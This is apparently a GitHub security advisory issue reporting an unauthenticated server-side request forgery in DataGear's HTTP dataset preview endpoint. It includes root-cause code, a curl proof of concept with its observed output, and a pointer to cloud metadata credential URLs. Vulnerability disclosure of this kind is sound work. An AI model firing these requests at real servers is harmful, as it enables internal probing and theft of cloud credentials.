Skip to content

Unauthenticated SSRF via HTTP Dataset Preview Endpoint #37

Description

@geo-chen

Package: org.datagear / datagear-web (HTTP dataset preview)

Affected Versions: <= 5.5.0

Summary

The /dataSet/preview/Http endpoint in DataGear allows an unauthenticated attacker to make the server issue arbitrary HTTP requests to any URL, including internal loopback and private network addresses. The full HTTP response body is returned to the caller. No authentication is required because the default configuration assigns the ROLE_DATA_ANALYST role to anonymous users, and the endpoint's security rule permits any Data Analyst (including anonymous) to access it. The underlying HttpClient is created via HttpClients.createDefault() with no SSRF protections (no IP blocklist, no redirect controls, no private-range filtering).

Details

Root cause -- no SSRF protection in HttpDataSet:

datagear-web/src/main/java/org/datagear/web/config/CoreConfigSupport.java, line ~386:

public CloseableHttpClient httpClient() {
    return HttpClients.createDefault();   // no SSRF mitigations
}

datagear-analysis/src/main/java/org/datagear/analysis/support/HttpDataSet.java (the resolveResult method) directly calls this.httpClient.execute(request, resultHandler) against the caller-supplied URI with no IP/range validation.

Root cause -- endpoint accessible to anonymous users:

The security configuration (SecurityConfigSupport.java) maps /dataSet/preview/** into the dataAnalyst catch-all rule:

UrlsAccess read = new UrlsAccess(dataAnalystAuthorizationManager(), "/dataSet/**");

AuthenticationSecurity.hasDataAnalyst() returns true for anonymous users when disableAnonymous=false (the default), because the default configuration (application.properties) assigns ROLE_DATA_ANALYST to all anonymous visitors:

defaultRole.anonymous=ROLE_DATA_ANALYST

This means hasDataAnalyst(auth) returns true for unauthenticated requests, granting them access to /dataSet/preview/Http.

Contrast with gated sibling path:

The /dataSet/saveAdd/Http endpoint (which persists a dataset) is correctly protected under dataManagerAuthorizationManager() (requires ROLE_DATA_MANAGER or admin), so an anonymous user cannot permanently save a malicious dataset. However, the preview path, intended for temporary execution during dataset creation, applies the weaker dataAnalyst rule and is exposed to anonymous users -- executing the HTTP request server-side and returning the full response body.

DataSetController.java (the preview method):

@RequestMapping(value = "/preview/" + DataSetEntity.DATA_SET_TYPE_Http, produces = CONTENT_TYPE_JSON)
@ResponseBody
public TemplateResolvedDataSetResult previewHttp(..., @RequestBody HttpDataSetEntityPreview preview) {
    ...
    if (StringUtil.isEmpty(entity.getId())) {
        inflateSaveAddBaseInfo(request, user, entity);
        checkSaveHttpDataSetEntity(request, user, entity, null);  // only checks name/uri are non-blank
    }
    entity.setHttpClient(getDataSetEntityService().buildHttpClient(entity));
    DataSetQuery query = convertDataSetQuery(...);
    return doPreviewHttp(entity, query);  // fires the HTTP request
}

checkSaveHttpDataSetEntity only verifies that name and uri are not blank -- there is no URL validation or private-range check.

PoC

No authentication is required. The following curl command demonstrates the server fetching a loopback address and returning the response to the attacker:

Step 1 -- Start a listener on the target host (to simulate an internal service):

python3 -c "
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"internal\":true,\"data\":\"sensitive_internal_secret\"}')
    def log_message(self,*a): pass
socketserver.TCPServer(('127.0.0.1',18888),H).serve_forever()
" &

Step 2 -- Send a single unauthenticated request (no session cookie, no credentials):

curl -s -X POST http://TARGET:9090/dataSet/preview/Http \
  -H "Content-Type: application/json" \
  -d '{
    "dataSet": {
      "name": "ssrf",
      "uri": "http://127.0.0.1:18888/internal-path",
      "requestMethod": "GET",
      "responseContentType": "JSON"
    },
    "query": {}
  }'

Observed server response (DataGear 5.5.0, unauthenticated):

{
  "result": {
    "data": {
      "internal": true,
      "data": "sensitive_internal_secret"
    },
    "ignoreFetch": false
  },
  "fields": [
    {"name": "internal", "type": "STRING", "evaluated": false},
    {"name": "data",     "type": "STRING", "evaluated": false}
  ],
  "templateResult": "URI:\nhttp://127.0.0.1:18888/internal-path"
}

The DataGear server fetched the loopback address and returned the full response body. The attack also works against cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) and any other internal service reachable from the server.

Impact

An unauthenticated attacker on any network that can reach a DataGear instance can:

  1. Probe and enumerate internal network services (port scanning via timing/response differences).
  2. Retrieve response bodies from internal HTTP services -- including cloud metadata APIs (AWS IMDSv1, GCP metadata, Azure IMDS), internal admin panels, and adjacent microservices.
  3. In cloud environments, retrieve credentials from the metadata endpoint (e.g., AWS IAM role credentials via http://169.254.169.254/latest/meta-data/iam/security-credentials/).

No account, session, or prior access is required. The attack is fully external and requires only a single HTTP POST request.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions